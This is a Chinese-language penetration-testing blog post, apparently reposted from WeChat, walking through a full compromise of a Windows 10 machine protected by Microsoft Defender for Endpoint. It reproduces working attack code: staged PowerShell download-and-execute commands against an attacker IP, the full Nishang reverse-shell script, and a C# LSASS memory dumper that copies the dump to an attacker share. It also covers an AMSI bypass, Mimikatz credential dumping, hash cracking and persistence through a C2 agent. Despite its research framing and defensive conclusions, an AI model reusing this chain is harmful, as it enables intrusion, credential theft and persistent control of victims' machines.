介绍
本文的目的是展示受 Microsoft EDR 解决方案 Windows Defender Advanced Threat for Endpoint 保护的最新 Windows 10 端点的全面入侵。
配备 MDATP 的机器
为此,我们首先通过使用恶意宏来钓鱼我们的目标来获得立足点,这将为我们提供反向 shell,然后从 shell 转储凭据,最后通过 RDP 连接以使用信标/代理在我们的目标上建立持久性。
完整的设置如下:
-
已安装 MDATP 并全面更新的 Windows 10 受害机器。
-
Kali Linux 攻击者机器
-
带有 Visual Studio 2022 Community 的 Windows 10 机器用于恶意软件开发/编译。
请注意,由于 Defender 和 MDATP 具有相同的签名数据库,因此本文中使用的大多数概念都来自 前一篇文章。
免责声明:本文提供的信息仅用于教育和道德目的。所描述的技术和工具旨在以合法和负责任的方式使用,并得到目标系统所有者的明确同意。严禁未经授权或恶意使用这些技术和工具,否则可能导致法律后果。对于因滥用所提供信息而可能产生的任何损害或法律问题,我不承担任何责任。
通过网络钓鱼获取初始访问权限
在这一部分中,我们将尝试使用 Visual Basic 中的恶意 Excel 宏来获取反向 shell。当然,这一部分需要社会工程学,但在这种情况下,我将在受害者机器上亲自打开它。
因此我们可以利用以下宏,将第一阶段下载到本地,然后使用 IEX 执行。与直接使用 IEX() 和 DownloadString() 相比,这种方法的可疑性会降低,也更难追踪。
恶意 Excel 宏
至少对于这个 EDR,不需要高级混淆宏,只需隐藏初始有效载荷似乎就足够了。
因此,每个相应阶段将包含以下 PowerShell 代码:
第一阶段
IEX(New-Object Net.WebClient).downloadString("http://192.168.57.140:8080/s2.txt")
第 2 阶段
IEX(New-Object Net.WebClient).downloadString("http://192.168.57.140:8080/ref.txt")
IEX(New-Object Net.WebClient).downloadString("http://192.168.57.140:8080/s3.txt")
第 3 阶段
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.57.140 -Port 443
解释很简单,第一阶段实际上将利用 IEX 和 DownloadString 来保持无文件状态并下载并执行第二阶段;第二阶段将下载并执行 AMSI 绕过以及下载第三阶段,第三阶段最终将是基于 Invoke-PowerShellTCP 的反向 shell 有效载荷。
结果是我们在禁用 AMSI 遥测的情况下在攻击者机器中获得 shell。请注意,我们仍将受到 EDR 行为检测的监控。
因此,我们现在可以在受害机器中打开恶意宏,得到以下结果。
受害者机器从我们的攻击者机器下载阶段
获取TCP反向Shell
太棒了,我们现在在机器上找到了立足点。让我们进入下一步来破解凭证。
访问操作系统凭证
现在我们有了初始访问权限,我们可以尝试访问存储在 LSASS 进程中的凭据。为此,Mimikatz 是一个非常知名的工具,非常适合我们的目的。所以让我们先尝试一下。
由于我们的 shell 已经针对 AMSI 进行了修补,因此我们可以通过 Invoke-Mimikatz 脚本直接执行 Mimikatz,同时保持无文件状态。之后,我们将通过 sekurlsa::logonpasswords 命令执行该脚本以从 LSASS 转储凭据。
该过程如下:
执行 Mimikatz 转储凭据
请注意,shell 在最后被终止。这是因为 MDATP 能够检测到它,从而终止父进程(在本例中为 PowerShell)。不幸的是,在这种情况下响应太慢,因此只需将其重定向到文件(例如,来自我们攻击者机器的网络中的共享)即可让我们检索输出,因为进程在执行结束时被终止,这为时已晚。
检索转储的凭据
太棒了,我们现在有了用户的 NT 哈希,这意味着我们可以执行传递哈希攻击来验证身份并获得对暴露的远程服务的访问权限。在这种情况下,只有 RDP(TCP/3389)是开放的,所以让我们尝试一下。
受限 RDP
不幸的是,我们无法对目标执行 PTH 攻击,因为他是本地管理员,这意味着访问仅限于纯文本凭据(据我所知)。但是,由于 NT 哈希破解速度极快(MD4),我们不妨直接破解它。
破解NT哈希
当然,在这种情况下,这是一个用于演示目的的简单密码,但考虑到破解速度,对于真实环境来说,这可能不是一个太牵强的情况。
现在,我们实际上可以通过 RDP 连接到端点。
RDP 连接
现在我们拥有了真正的访问权限,在进入持久性策略之前,我想展示一种从 LSASS 进程中转储机密的替代方法。这将通过 Win32 函数 MiniDumpWriteDump 来实现,如上一篇 Defender 文章中所述。
为此,我们将利用 PowerShell 中的 P/Invoke 来编译和执行 C# 程序集,该程序集将使用 MiniDumpWriteDump 访问和转储 LSASS 中的内存。代码非常简单:
MiniDumpWriteDump 脚本
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class MiniDump {
[Flags]
public enum Option : uint {
Normal = 0x00000000,
WithDataSegs = 0x00000001,
WithFullMemory = 0x00000002,
WithHandleData = 0x00000004,
FilterMemory = 0x00000008,
ScanMemory = 0x00000010,
WithUnloadedModules = 0x00000020,
WithIndirectlyReferencedMemory = 0x00000040,
FilterModulePaths = 0x00000080,
WithProcessThreadData = 0x00000100,
WithPrivateReadWriteMemory = 0x00000200,
WithoutOptionalData = 0x00000400,
WithFullMemoryInfo = 0x00000800,
WithThreadInfo = 0x00001000,
WithCodeSegs = 0x00002000,
WithoutAuxiliaryState = 0x00004000,
WithFullAuxiliaryState = 0x00008000,
WithPrivateWriteCopyMemory = 0x00010000,
IgnoreInaccessibleMemory = 0x00020000,
ValidTypeFlags = 0x0003ffff,
}
[DllImport("Dbghelp.dll")]
private static extern bool MiniDumpWriteDump(
IntPtr hProcess,
uint processId,
IntPtr hFile,
Option dumpType,
IntPtr exceptionParam,
IntPtr userStreamParam,
IntPtr callbackParam
);
public static void Dump(string path, int processId) {
using (Process process = Process.GetProcessById(processId)) {
using (var fileStream = new System.IO.FileStream(path, System.IO.FileMode.Create)) {
MiniDumpWriteDump(
process.Handle,
(uint)processId,
fileStream.SafeFileHandle.DangerousGetHandle(),
Option.WithFullMemory,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero
);
}
}
}
}
"@
$dumpPath = "C:userspublictest123.txt"
$abcd = Get-Process lsass
[MiniDump]::Dump($dumpPath, $abcd.Id)
cp C:userspublictest123.txt \192.168.57.140pwnlsa.txt
脚本末尾有复制命令的原因是 MDATP(甚至 Defender)会检测文件系统上的转储结构并将其删除。但是,它似乎反应非常慢,在 EDR 有时间检测转储并将其从磁盘中删除之前,复制命令就已经完全执行了。我认为这是一个重大缺陷。
因此,在我们的攻击者机器上将会出现以下结果。
检索和解析 LSA 转储
建立持久性
为了建立持久性,我们将尝试在目标上部署植入物。在这种情况下,我尝试了许多 C2 框架,但它们要么在第一个命令(Empire)后被检测到,要么它们的 shellcode 被我的注入器(merlin、Havoc 等)干扰,并且没有回调到 C2。因此,我最终使用的框架是 Mythic 和 HTTP 配置文件上的 Athena 代理。
首先,我们需要编译我们的代理。如前所述,我将使用Athena 代理,将其编译为可执行文件,该文件将通过 HTTP 回调到我们的 C2 服务器。请注意,我没有以任何方式修改可执行文件,因为至少对于此 EDR 来说它不是必需的。
Athena 配置文件配置
现在,我们只需转移到受害机器并执行它,即可在我们的 C2 端获得以下回调。
Athena回调
完美,我们现在可以与我们的代理交互以在系统上执行各种功能,例如下载任意文件。
向代理请求文件
本地检索文件
此外,代理允许动态模块加载,因为它带有一个用于枚举接口的模块,我们可以尝试一下,看看是否检测到枚举。
枚举网络接口
看来这并没有对微软的租户产生任何警报。
代理不允许我添加执行命令有效负载(当然这太明显了),但它默认带有执行程序集,所以我们可以尝试编译一个.NET 程序并在我们的受害者机器上执行它。
为此,我们可以通过 leftp 编译 DPAPISnoop来窃取 DPAPI 哈希。
为了进一步混淆,在编译之前,我使用本地恶意软件开发机器上的 InvisibilityCloak 混淆了代码和项目 ID。
DPAPISnoop 混淆
现在我们可以编译它,将其传输到我们的 C2 服务器并从我们的 C2 执行 execute-assembly 命令。
将程序集上传到 C2 服务器
执行并检索程序集执行结果
完美,看起来一切运行良好,我们的代理仍然处于运行状态。租户中根本没有警报。
结论
我最近获得了 MDATP 试用版的访问权限,因此我想测试的第一件事就是它的检测和响应能力有多好。作为背景,这是整个参与过程中生成的所有警报。
看起来合理,总体而言,每个警报的检测和信息都相当不错。但是,从我对解决方案执行的测试来看,端点检测和响应的响应部分对我来说似乎有点慢。这通常可能不是一个很大的问题,例如 Empire 代理在第一个命令后被杀死,但是,对于 LSASS 访问等关键操作,攻击者可能只是在转储完成后重定向输出甚至复制结果,这可能是一个严重的缺陷。此外,启发式检测也有点令人失望;它在识别公共威胁方面相当不错,但如果事先不知道,它就不太擅长知道执行的意图是否是恶意的。
当然,同样需要注意的是,我没有为此次攻击做任何强化;这是一台默认的 Windows 10 机器。如果这台机器有 WDAC、AppLocker、PowerShell 约束语言模式、ASR 等功能,那么攻击就会变得更加困难,尽管据我所知还是可行的。因此,本文仅旨在展示 MDATP 的检测和响应能力,以用于研究目的。
通过生成所有警报,我确实希望它可以在将来帮助 MDATP 客户端进行检测。
原文始发于微信公众号(Ots安全):规避 MDATP 以实现全面终端入侵
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论